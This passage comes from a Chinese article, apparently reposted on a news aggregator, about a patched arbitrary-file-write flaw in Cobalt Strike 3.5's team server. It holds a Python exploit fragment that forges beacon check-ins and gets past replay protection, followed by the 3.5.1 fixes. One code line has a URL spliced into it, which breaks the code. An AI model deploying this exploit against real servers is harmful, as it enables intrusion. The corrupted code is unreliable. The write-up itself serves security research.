互联网对红队利器Cobalt Strike一个历史遗留漏洞的研究( 七 )
print "[*] Creating file .."
data, fid = build_download_task(os.path.split(args.filepath)[1], aes_key, hmac_key)
# Send it to the server. This is the equivalent of touch(filepath)
# submit.php should be replaced with malleable C2 setting if applicable
beacon_checkin(args.target, "submit.php", data, args.bid, args.host, args.ssl)
# Build another task which is going to write the data to the touched file
# We force the counter to be higher than the last task to avoid replay protection
print "[*] Sending data .."
data = http://news.hoteastday.com/a/build_download_data(args.filedata, fid, aes_key, hmac_key, counter()+100)
# Fire it..
beacon_checkin(args.target, "submit.php", data, args.bid, args.host, args.ssl)
print "[+] Done!"
以下视频演示了该漏洞的利用效果:
https://videos.files.wordpress.com/8DjSHoub/cs-3-5-exploit_dvd.mp4
0x06 缓解措施
如Cobalt Strike的后续帖子所述 , 在3.5.1中添加了以下修复程序
·引入了一个新的SafeFile方法 , 该方法将应写入文件的路径作为第一个参数 , 并将要写入的文件名作为第二个参数 。 随后 , 它确保在规范化之后 , 文件不会脱离在第一个参数中传递的规范化路径 。 在执行文件写入的任何地方都将使用此新方法 , 包括写入日志文件和截图 。
·添加了host_stage可延展的C2配置设置 。 设置为false时 , 这将完全禁用payload下载 , 这意味着你的Team Server将不会通过checksum8 URL托管下载器 。 每当不需要payload分段时都应使用此方法 , 但是应注意 , 这可能会破坏你可能习惯的某些利用后工作流程 。
·现在 , 使用ID值将下载存储在文件系统上 。 这映射到数据模型中的实际文件路径 , 这是通过Cobalt Strike GUI访问“下载”选项卡时看到的 。
·现在 , 在允许来自Beacon的大多数回调响应之前 , Team Server会至少检查一次Beacon任务 。 这样可以确保攻击者在操作者未与Beacon进行交互之前就无法伪造Beacon并开始欺骗响应 。
·根据正则表达式对在Beacon元数据中报告的IP地址值进行完整性检查 , 以确保它实际上是IP地址 。
总而言之 , 3.5.1更新中应用的修复程序很健壮 , 可以从多个角度修补漏洞 。 如文章开始所述 , 此漏洞在旧 版本的Cobalt Strike中存在 , 而在最新版本中不存在 。 尽管如此 , 我们希望这篇文章对Cobalt Strike内部有一定的了解 , 并为蓝队和红队提供了改善与真正对手的战斗的机会 。
推荐阅读
- 字母哥|强强对话,字母哥狂砍36+18不敌红队5人得分上双,哈登威少55分
- 互联网乱侃秀|专注28nm或以上芯片,或探索去美化,中芯国际投270亿再成立公司
- 互联网支付宝搜索流量全面开放:麦当劳、肯德基、星巴克等抢先升级“品牌直达”
- 互联网支付宝:首页搜索“品牌直达”能力正式面向全行业品牌商家开放
- 干衣机|米家互联网热泵干衣机发布:35分钟快烘 3499元
- 亚马逊建设卫星互联网系统获批
- 行业互联网同比增长26.4%,上汽大通MAXUS 7月热销超万台
- 行业互联网澳柯玛,智慧冷链疫苗存储,内循环经济智能家居,叠加芯片概念
- 新华网|“中国互联网联合辟谣平台”学习强国号上线运行
- 科技微视界|助力中小企业进入移动互联网,“MUP移动营销云”
